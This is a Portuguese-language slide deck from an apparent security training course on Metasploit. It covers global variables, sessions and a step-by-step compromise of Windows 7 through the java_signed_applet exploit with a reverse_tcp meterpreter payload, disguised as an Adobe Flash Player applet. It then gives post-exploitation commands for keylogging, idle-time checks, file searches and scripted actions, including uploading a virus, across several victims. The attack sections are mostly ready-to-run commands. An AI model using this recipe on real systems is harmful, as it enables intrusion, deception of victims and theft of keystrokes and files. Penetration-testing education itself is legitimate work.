eSecurity

Treinamentos em Segurança da Informação

O que temos pra hoje?

Temas de Hoje:

- **Metasploit**
  - Trabalhando com variáveis globais
  - O comando back
  - Invadindo o Windows 7 com Java
  - Trabalhando com sessões
  - Pós invasão: Keylogger
  - Pós invasão: IdleTime
  - Pós invasão: lpwd, ls e lcd
  - Pós invasão: search
  - Pós invasão: Resource

Metasploit

Metasploit: Variáveis Globais

Para economizar tempo durante pentest, você pode definir variáveis globais dentro msfconsole.

O comando setg armazena esses dados em arquivo e pode ser consultado diversas vezes e aplicado quando quiser, mesmo depois de ter seu msfconsole fechado.

Exemplo de uso:
Salvar o Remote Host em variável global

```
setg RHOST 192.168.0.15
```

Salvar variável global

```
save
```

Consultar variáveis salvas

```
setg
```

Metasploit: O comando Back

Uma vez que você terminar de trabalhar com um módulo especial, ou se selecionou um módulo erroneamente, você pode utilizar o comando back para sair de um determinado módulo.

Lembrete, ao sair do módulo, você perde as variáveis que não são globais.

Exemplo de uso:
Acessando um módulo incorreto

```
use exploit/multi/handler
```

Saindo do módulo

```
back
```

Metasploit: Invadindo W7 com Java

O java de fato é uma das aplicações mais polêmicas por possuir diversas falhas de segurança.

Além de muito útil, o java pode nos proporcionar diversas dores de cabeça, principalmente se a aplicação não estiver atualizada.

Iremos agora efetuar a invasão em uma máquina com Windows 7 utilizando um backdoor em Java.

Exemplo de uso:
Inicie o MSFCONSOLE
msfconsole

Utilize o exploit para criação do backdoor em Java
use exploit/multi/browser/java_signed_applet

Metasploit: Invadindo W7 com Java

Selecione o payload para ataque de conexão reversa
set payload windows/meterpreter/reverse_tcp

Selecione o nome do Applet, isso aparecerá no cliente
set appletname Adobe_Inc

Em versões mais antigas do diálogo exibirá o valor de CERTCN na linha de "Editor". Geralmente apresenta "desconhecido" em JVMs quando a assinatura não é confiável.
set certcn Adobe Flash Player

Selecione o host atacante
set srvhost 192.168.8.92

Selecione a porta de conexão
set srvport 80

Metasploit: Invadindo W7 com Java

Selecione a pasta onde irá conter temporariamente a pasta de conexão
set uripath playlist

Selecione o Localhost, que é a máquina do invador
set lhost 192.168.8.92

Selecione a porta para conexão reversa, não pode ser a porta de ataque
set lport 443

Execute o Exploit, ele entrará em modo listening
exploit

O metasploit irá te fornecer o endereço ao qual o alvo deve acessar, para isso, o alvo deve possui o java desatualizado e não obter antivírus.
Lembre-se que o java é multi plataforma, sendo assim, esse mesmo ataque pode ocorrer em máquinas usando Linux ou outro SO.

Metasploit: Trabalhando com sessões

Existem casos, como o citado acima, ao qual você poderá ter um número grande de vítimas conectadas na sua máquina, sendo assim, é importante aprender a trabalhar com sessões.
A opção sessions é útil em casos como este.

Exemplos de uso:
Lista as sessões ativas (List)
sessions –l

Acessa a sessão desejada (Interective)
sessions –i [número da sessão]

Para sair da sessão ativa, utiliza-se o comando abaixo:
backgound

Metasploit: Pós exploração: Keylogger

O meterpreter possui uma ferramenta fantástica que grava tudo o que o usuário invadido digita, ele pode ser utilizado para capturar informações sigilosas.

keyscan_start – Inicia a captura de dados

keyscan_dump – Gera em tela todos os caracteres digitados

keyscan_stop – Finaliza o serviço de captura de teclas

Metasploit: Pós exploração: IdleTime

Certas horas é importante verificar a hora que o usuário não está trabalhando na máquina, sendo assim, é possível verificar o tempo que a máquina está sem interação.

Para isso, no merterpreter usamos o comando idletime

Metasploit: Pós exploração: Search

Em determinadas horas é necessário agilizar o ataque e buscar por arquivos de nosso interesse. O meterpreter nos ajuda realizar buscas na máquina da vítima utilizando o comando search

Exemplo de uso:
Procurando arquivos específicos:
search –f win.sys

Procurando de forma booleana:
search –f w*.sys c:\\Windows\\system32\\

Metasploit: Pós exploração: Resource

Resource é extremamente útil quando queremos automatizar determinadas tarefas, por exemplo:
Vamos supor que invadimos algumas máquinas e queremos executar os mesmos comandos em todas elas, para coletar informações, subir um vírus, etc.

Inicialmente em nosso Kali, criamos um arquivo com a lista de comandos que queremos e gravamos, por exemplo, em um arquivo chamado /root/resource.txt.

Em seguida, usamos esse arquivo dentro do nosso meterpreter.

Exemplo de uso:
Procurando arquivos específicos:
resource /root/resource.txt

printf ("\Chega por hoje\n");

www.eSecurity.com.br

E-mail: alan.sanches@esecurity.com.br

Twitter: @esecuritybr e @desafiohacker

Skype: desafiohacker

Fanpage: www.facebook.com/academiahacker